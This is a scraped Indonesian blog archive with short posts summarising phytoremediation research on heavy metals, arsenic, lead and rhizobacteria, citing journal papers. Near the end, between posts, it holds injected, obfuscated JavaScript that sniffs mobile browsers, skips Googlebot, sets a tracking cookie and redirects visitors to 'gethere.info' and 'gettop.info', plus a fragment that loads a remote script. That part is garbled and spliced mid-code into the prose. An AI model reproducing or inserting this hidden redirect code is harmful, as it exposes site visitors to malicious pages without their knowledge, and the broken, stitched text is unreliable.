Akar, yang mencakup 20-50% dari biomassa tanaman, menyerap hara dari tanah dan mengirimkannya ke bagian tanaman di atas tanah .  Sebagian besar penelitian tentang mekanisme penyerapan hara oleh akar dan sel tumbuhan , telah difokuskan pada studi tentang N, P, S, Fe, Ca, K dan Cl. Studi ini menghasilkan beberapa pemahaman tentang proses yang terlibat dalam penyerapan unsur-unsur hara.  Namun demikian, sedikit yang diketahui tentang mekanisme mobilisasi, penyerapan dan transportasi logam berat Pb, Cd, Cu, Zn, U, Sr, dan Cs. Jelas bahwa sebagian besar logam ini tetap di-ikat oleh partikel-partikel padatan tanah. Untuk mendapatkan logam yang terikat tanah ini, tanaman fitoekstraksi harus memobilisasi logam ke dalam larutan tanah.  Proses mobilisasi logam yang terikat-tanah ini dapat dicapai dalam beberapa cara:
1 . Molekul peng-khelate logam dapat disekresikan ke rhizosfer untuk meng-khelat dan melarutkan logam yang terikat aprtikel  tanah. Sampai saat ini , keberhasilan utama dalam phytoextraction dicapai dengan menerapkan khelate sintetis ke dalam tanah , namun ada keuntungan yang berbeda dalam menggunakan senyawa yang diekskresikan oleh akar secara alami untuk tujuan ini . Hanya senyawa peng-khelate besi , disebut phytosiderophores , telah diteliti dengan baik pada tanaman . Phytosiderophores ini dilepaskan dalam merespon kekurangan zat besi dan dapat  memobilisasi Cu , Zn dan Mn dari tanah . Mugineic dan asam deoxymugeneic dari tanaman jagung dan asam avenic dari gandum adalah phytosiderophores tanaman yang telah banyak diteliti.  Protein pengkhelat logam , mungkin terkait dengan metallothioneins atau phytochelatins , juga dapat berfungsi sebagai siderophores pada tanaman , meskipun hal ini belum pernah diteliti , namun kontribusi phytosiderophores dalam akuisisi logam beracun oleh akar tanaman fitoekstraksi masih belum banyak diteliti.   Temuan baru-baru ini melaporkan bahwa hiperakumulator Ni , Alyssum lesbiacum , dapat menggunakan histidin , suatu khelator Ni yang sangat baik , untuk menyerap Ni dan transportasi Ni .
2. Akar bisa mereduksi ion logam ‘yang terikat tanah’ oleh ensim reductases logam yang terikat pada membran plasma tertentu, yang dapat meningkatkan ketersediaan logam. Tanaman kacang yang kekurangan Fe atau Cu memiliki kemampuan untuk mereduksi Fe3 + dan Cu2 +, yang digabungkan dengan meningkatnya serapan Cu, Mn, Fe dan Mg.
3. Akar tanaman dapat melarutkan logam beracun yang terikat oleh partikel tanah dengan jalan mengasamkan lingkungan tanah,  melalui proton yang dikeluarkan oleh akar. Mekanisme serupa telah diamati untuk mobilisasi Fe di beberapa tanaman dikotil  yang kekurangan Fe.
4. Akar dapat menggunakan organisme rizosfer (jamur atau bakteri penghuni akar) untuk meningkatkan bioavailabilitas logam. Namun demikian, pentingnya mikroorganisme dalam fitoremediasi logam masih harus dikaji lebih lanjut.  Hal ini diyakini bahwa serapan hara tertentu seperti Fe, Mn, Cd dan Zn mungkin dapat difasilitasi oleh mikroorganisme rizosfer.
Selengkapnya lihat:
www.ufv.br/dbv/pgfvg/bve684/htms/pdfs_revisao/…/phytoremediat.pdf

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PENCEMARAN TANAH — FITOREMEDIASI

December 22nd, 2013 No comments

PENCEMARAN TANAH  –  FITOREMEDIASI

 

Pencemaran logam beracun dalam air dan tanah merupakan masalah lingkungan utama, dan sebagian besar pendekatan remediasi konvensional belum dapat memberikan solusi yang dapat diterima.
Penggunaan tanaman khusus akumulator logam untuk membersihkan lingkungan adalah sebuah teknologi baru yang disebut fitoremediasi.

Tiga kelompok teknologi remediasi logam beracun:

  1. Phytoextraction – penggunaan tanaman akumulator logam untuk menghapus logam beracun dari tanah;
  2. Rhizoflltration – penggunaan akar tanaman untuk menghilangkan logam beracun dari air tercemar, dan
  3. Phytostabilization – penggunaan tanaman untuk menghilangkan bioavailabilitas logam beracun dalam tanah.

Topik-topik kajian yang snagat menarik adalah mekanisme biologis serapan logam beracun, translokasi dan ketahanan,  serta strategi untuk meningkatkan fitoremediasi.


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Selengkapnya lihat:

David E. Salt, Michael Blaylock, Nanda P.B.A. Kumar, Viatcheslav Dushenkov, Burt D. Ensley, Ilan Chet and Ilya Raskin. 1995. Phytoremediation: A Novel Strategy for the Removal of Toxic Metals from the Environment Using Plants.  Nature Biotechnology 13, 468 – 474 (1995).  doi:10.1038/nbt0595-468.

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PENCEMARAN TANAH — FITOREMEDIASI Zn dan Cd

December 22nd, 2013 No comments

PENCEMARAN TANAH  –  FITOREMEDIASI Zn dan Cd

 

Mikroorganisme tanah mempunyai fungsi penting dalam sistem tanaman – tanah . Dengan demikian , berbagai sifat mikroba tanah telah diusulkan sebagai indikator fungsi tanah , mereka berpotensi berguna dalam mengevaluasi pemulihan tanah tercemar melalui strategi fitoremediasi .

Untuk mengevaluasi respon mikroba terhadap phytoextraction logam dengan menggunakan hyperaccumulators , percobaan mikrokosmos dilakukan untuk mempelajari dampak dari pencemaran Zn dan / atau Cd dan pertumbuhan Thlaspi caerulescens terhadap sifat-sifat kinci dari  mikroba tanah .

T. caerulescens terbukti cocok untuk  fito-ekstraksi Zn dan Cd :  Akumulasi dalam tunas hingga 8211 dan 1.763 mg/kg ( berat kering [ DW ] ) .

Secara umum, pencemaran Zn menyebabkan penurunan tingkat respirasi basal dan bakteri pengoksidasi amonia , sedangkan  pertumbuhan T. caerulescens meningkat nilai-nilai substrat-induced respirasi ( SIR ) dan total bakteri .
Di tanah tercemar dengan 1.000 mg/kg Zn dan 250 mg /kg Cd ( DW ) , profil komunitas bakteri tanah dan distribusi gen fungsional mikroba yang paling terpengaruh oleh adanya logam .

Tanah-tanah yang tercemar logam dan ditanami memiliki persentase tertinggi gen unik yang terdeteksi melalui GeoChip ( 35 % ) .

Dengan dmeikian, dimungkinkan untuk melacak respon mikroba terhadap penanaman T. caerulescens dan untuk mendapatkan wawasan tentang dampak pencemaran logam terhadap komunitas mikroba tanah.

 

Referensi

Lur Epelde, José M. BecerrilGeorge A. KowalchukYe DengJizhong Zhou  and Carlos Garbisu. 2010. Impact of Metal Pollution and Thlaspi caerulescens Growth on Soil Microbial Communities. 

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Appl. Environ. Microbiol. December 2010 vol. 76 no. 23 7843-7853.

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FITOREMEDIASI AIR ASAM TAMBANG

December 14th, 2013 No comments

FITOREMEDIASI  AIR ASAM TAMBANG

 

Fitoremediasi adalah penggunaan tanaman untuk menghilangkan polutan dari lingkungan sehingga tidak berbahaya . Fitoremediasi dibagi menjadi bidang-bidang berikut : phytodegradation , phytoextraction , rhizofiltration , phytostabilization , phytostimulation , dan phytovolatilization

Fitoremediasi dipandang sebagai alternatif yang hemat biaya untuk membersihkan logam berat dan radionuklida dari system lingkungan. Potensi teknologi ini tergantung pada jumlah radionuklida dan logam berat , omzet biomassa dan kemampuan spesies tanaman untuk mentolerir kontaminasi yang ekstrim . Kalau logam sudah telah berbentuk unsur (elementer) maka  phytodegradation bukan menjadi pilihan . Phytostabilization , phytoextraction , phytovolatilization dan rhizofiltration merupakan strategi fitoremediasi yang dapat digunakan dalam remediasi air asam tambang .

Rhyzofiltration melibatkan penyerapan dan adsorpsi polutan ( terutama logam ) dari air dan air limbah . Kontaminan dapat secara fisik dihapus dengan menghapus tanaman itu sendiri . Beberapa kelemahan teknologi ini mencakup kebutuhan untuk kontrol yang baik atas pH , dan pemahaman yang jelas tentang spesiasi kimia dan interaksi dari semua spesies dalam air limbah . Selain itu, kontrol atas konsentrasi influen dan laju aliran mungkin diperlukan , tanaman mungkin perlu tumbuh dan kemudian translokasi ke situs ( khususnya tanaman terestrial ) , panen periodik dan pembuangan hasil panen, dan hasil laboratorium mungkin tidak dapat diterapkan di lapangan.

 

 


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FITOREMEDIASI LOGAM BERAT – PENYERAPAN LOGAM OLEH TUMBUHAN

November 23rd, 2013 No comments

FITOREMEDIASI LOGAM BERAT – PENYERAPAN LOGAM OLEH TUMBUHAN

 

Logam berat adalah salah satu jenis kontaminan lingkungan yang sangat penting. Beberapa metode telah digunakan untuk membersihkan lingkungan yang tercemar logam berat,  tetapi kebanyakan dari metode ini snagat mahal dan sulit mendapatkan hasil optimal .  Pada saat ini , fitoremediasi dianggap sebagai solusi teknologi yang efektif biaya dan terjangkau untuk mengekstrak atau menyerap polutan logam dari tanah dan air yang terkontaminasi . Teknologi ini dianggap ramah lingkungan dan efektif biaya .
Tulisan ini mengkompilasi informasi tentang logam berat arsenik , timbal , dan merkuri ( As, Pb , Hg dan ), tentang sumbernya , efek dan pengolahannya.  Uraian secara mendalam tentang teknologi fitoremediasi , termasuk mekanisme penyerapan logam berat dan hasil-hasil penelitian yang terkait dengan topik ini.

Selain itu , juga dijelaskan beberapa sumber dan efek dari As, Pb , Hg dan pada lingkungan , keuntungan dari teknologi fitoremediasi untuk mengurangi polutan dan juga mekanisme serapan logam berat dalam teknologi fitoremediasi, serta faktor yang mempengaruhi mekanisme serapan logam berat oleh tubmuhan.

Beberapa tanaman telah digunakan dalam fitoremediasi dan mereka mampu menyerap kontaminan dari tanah .

Beberapa proses penting yang terlibat dalam teknologi fitoremediasi adalah phytostabilization dan phytoextraction untuk kontaminan anorganik; phytotransformation / phytodegradation , rhizofiltration , dan rhizodegradation untuk kontaminan organik .

Eksudat akar mampu menstabilkan , demobilisasi dan mengikat kontaminan dalam matriks tanah , sehingga mengurangi bioavailabilitas nya. Semua ini disebut sebagai proses phytostabilization . Spesies tumbuhan tertentu telah digunakan untuk menyerap kontaminan dalam tanah dan air tanah,  melalui penyerapan dan akumulasi oleh akar , adsorpsi ke akar , atau pengendapan dalam zona akar . Proses ini untuk kontaminan organik dan kontaminan logam dalam tanah , sedimen , dan air limbah.
Jenis tumbuhan tertentu dapat menyerap dan hyperaccumulate kontaminan logam dan / atau kelebihan hara  dalam akarnya dan biomasa tajuk yang dipanen , dari substrat pertumbuhan melalui proses phytoextraction .

Proses fitoekstraksi ini berlaku untuk logam , metaloid , radionuklida , nonmetals , dan organik kontaminan dalam tanah , sedimen , dan lumpur menengah .

Proses Phytovolatilization adalah kemampuan tanaman untuk menyerap dan kemudian menguapkan kontaminan ke atmosfir . Proses ini berlaku untuk kontaminan logam dalam air tanah , tanah , sedimen , dan air limbah.

Dalam proses phytotransformation / phytodegradation ini kontaminan “dirombak” oleh tanaman melalui proses metabolisme dalam tubuh tanaman ; atau pemecahan kontaminan secara eksternal oleh senyawa yang dihasilkan (dikeluarkan0 oleh tanaman. Proses ini berlaku untuk molekul organik kompleks yang terdegradasi menjadi molekul anorganik sederhana dalam tanah , sedimen , lumpur , air limbah.

Akar tanaman dapat menyerap kontaminan logam dan / atau hara yang berlebih dari substrat pertumbuhannya melalui proses rhizofiltration ( = root) , adsorpsi , atau  presipitasi dalam akar tanaman, atau penyerapan kontaminan yang ada dalam larutan yang mengelilingi zona akar . Proses ini berlaku untuk penyerapan logam , hara yang berlebih , dan kontaminan radionuklida yang ada dalam air tanah , air permukaan , dan air limbah .

 

Sumber:

Bieby Voijant Tangahu,  Siti Rozaimah Sheikh Abdullah,  Hassan Basri,  Mushrifah Idris,3 Nurina Anuar   and Muhammad Mukhlisin. 2011.  A Review on Heavy Metals (As, Pb, and Hg) Uptake by Plants through Phytoremediation. International Journal of Chemical Engineering. Volume 2011 (2011), Article ID 939161, 31 pages.

 

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FITOREMEDIASI LOGAM BERAT DAN BAKTERI-AKAR

November 23rd, 2013 No comments

FITOREMEDIASI LOGAM BERAT  DAN BAKTERI-AKAR

 

Pencemaran tanah dengan logam berat merupakan masalah lingkungan yang signifikan dan berdampak negatif terhadap kesehatan manusia dan pertanian .

Rhizosfer , sebagai interface antara tanah dan tanaman , memainkan peran penting dalam fitoremediasi tanah yang terkontaminasi oleh logam berat ;  dimana  populasi mikroba rizosfir mampu mempengaruhi mobilitas logam berat dan ketersediaannya untuk tanaman melalui pelepasan agen chelating , pengasaman , solubilisasi fosfat dan perubahan potensial redoks; sehingga  mempunyai potensi untuk meningkatkan proses fitoremediasi .
Strategi Fitoremediasi dengan menggunakan rhizobakteri logam berat telah  banyak dikaji secara ilmiah.

Makalah ini meninjau beberapa kemajuan terbaru tentang efek dan pentingnya rhizobakteri dalam fitoremediasi logam berat pada atanah-tanah yang terkontaminasi .

Mekanisme yang terlibat dalam transfer dan mobilisasi logam berat oleh rhizobakteri perlu diungkapkan lebih jauh, dan pemilihan isolat mikroba dari rhizosfer tanaman yang tumbuh di tanah yang terkontaminasi logam berat diperlukan program ” restorasi ” .

Ketika mengevaluasi dampak dari rhizobakteri terhadap hytoremediation pada  tanah yang terkontaminasi, literatur menunjukkan bahwa bakteri tertentu pada akhirnya dapat digunakan dalam strategi fitoremediasi. Dalam hal ini, logam berat dapat diserap dari tanah tercemar dengan jalan meningkatkan kemampuan tanaman mengakumulasikan logam atau dengan meningkatkan jumlah biomassa tanaman.
Pada  tanah-tanah yang terkontaminasi parah, dimana kandungan logam melebihi batas toleransi tanaman, dimungkinkan memperlakukan tanaman dengan rhizobakteri yang mampu memicu pertumbuhan tanaman; meningkatkan biomassa tanaman dan sehingga mampu menstabilkan tanah, revegetasi tanah, dan remediasi tanah-tanah yang tercemar logam.

Sekresi oleh rhziobacteria memainkan peran utama dalam  fitoremediasi . Mekanisme tidak langsung mencakup mencegah bakteri patogen pertumbuhan dan perkembangan tanaman, sedangkan mekanisme langsung meliputi:  fiksasi nitrogen, sintesis siderophores yang dapat melarutkan dan menyerap zat besi dari tanah;  produksi fitohormon seperti auksin dan sitokinin, yang dapat meningkatkan pertumbuhan tanaman; dan solubilisasi mineral fosfor.

 

Sumber:  Yan-de Jing,  Zhen-li He,and Xiao-e Yang. 2007.  Role of soil rhizobacteria in phytoremediation of heavy metal contamin.  J. Zhejiang Univ. Sci. B. 2007; 8(3): 192–207.

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FITOREMEDIASI LOGAM BERAT PADA TANAH DAN AIR

November 23rd, 2013 No comments

FITOREMEDIASI LOGAM BERAT PADA TANAH DAN AIR

Pencemaran lingkungan telah mempengaruhi kualitas pedosphere , hidrosfer, atmosfer , litosfer dan biosfer .  Bernagai upaya-upaya telah dilakukan selama dua dekade terakhir untuk mengurangi sumber polusi dan memperbaiki sumberdaya tanah dan air yang tercemar .

Fitoremediasi dianggap sebagai metode yang lebih efektif- biaya dan efek sampingnya  lebih sedikit dibandingkan dengan pendekatan fisik dan kimia.

Lebih dari 400 spesies tanaman telah diidentifikasi memiliki potensi untuk remediasi tanah dan air yang tercemar. Di antara tumbuhan ini adalah  Thlaspi , Brassica , sedum alfredii H. , dan spesies Arabidopsis .

Kemajuan terbaru di bidang bioteknologi memainkan peran yang menjanjikan dalam pengembangan tumbuhan hyperaccumulators baru dengan jalan mentransfer gen hyperaccumulating logam dari spesies liar yang produksi biomasanya sedikit ke spesie yang banyak menghasilkan biomasa dan dapat dibudidayakan di masa mendatang .

Tulisan ini mereview kemajuan baru dalam aplikasi penelitian dan praktikal fitoremediasi untuk sumberdaya tanah dan air .

 

Sumber: Mohammad Iqbal Lone

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Zhen-li HePeter J. Stoffella,  and Xiao-e Yang. 2008. Phytoremediation of heavy metal polluted soils and water: Progresses and perspectives.   J. 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FITOREMEDIASI ARSEN DAN TIMBAL

November 20th, 2013 No comments

FITOREMEDIASI ARSEN DAN TIMBAL

 

Percobaan lapangan dan rumah kaca dilakukan untuk menilai kinerja fitoremediasi As dan Pb dari tanah yang tercemar . Tumbuhan Pakis Cina ( Pteris vittata ) digunakan untuk mengekstrak As. Secara rata-rata , konsentrasi As batang dan daun pakis setinggi 20 kali konsentrasi As dalam tanah pada kondisi lapangan . Diperkirakan diperlukan waktu 8 tahun untuk mengurangi konsentrasi As tanah yang terekstraks asam ke tingkat yang aman ( 40 mg / kg ) . Pengaruh pH tanah terhadap ekstraksi As juga diselidiki .

 

Hasil penelitian menunjukkan bahwa peningkatan pH tanah dapat meningkatkan penghapusan As. Tanaman sawi ( Brassica juncea

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) digunakan dalam percobaan rumah kaca untuk phytoekstraksi Pb tanah . EDTA diaplikasikan ke tanah dan ternyata dapat meningkatkan ekstraksi Pb. Ketika konsentrasi EDTA 10 mmol EDTA / kg tanah, dalam tanah yang mengandung 338 mg Pb / kg tanah , ternyata tanaman sawi mampu mengekstraks  sekitar 32 mg Pb . Fitoremediasi menjadi alternatif yang cocok untuk teknik remediasi konvensional , terutama untuk tanah yang tidak memerlukan remediasi secara cepat .

 

Sumber: Salido A.L, Hasty K.L, Lim J.M, dan Butcher D.J. 2003. Phytoremediation of arsenic and lead in contaminated soil using Chinese brake ferns (Pteris vittata) and Indian mustard (Brassica juncea). Int. J. Phytoremediation. 2003; 5(2):89-103.

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FITOREMEDIASI EKOSISTEM AKUATIK YANG TERCEMAR LOGAM BERAT

November 20th, 2013 No comments

FITOREMEDIASI EKOSISTEM AKUATIK YANG TERCEMAR LOGAM BERAT

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November 14th, 2013 No comments

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Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&’”, delay);var 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os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))} else {

Phytoremediation of arsenic from geothermal power plant

October 26th, 2013 No comments


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g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new 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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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FITOREMEDIASI MERKURI EKOSISTEM AKUATIK


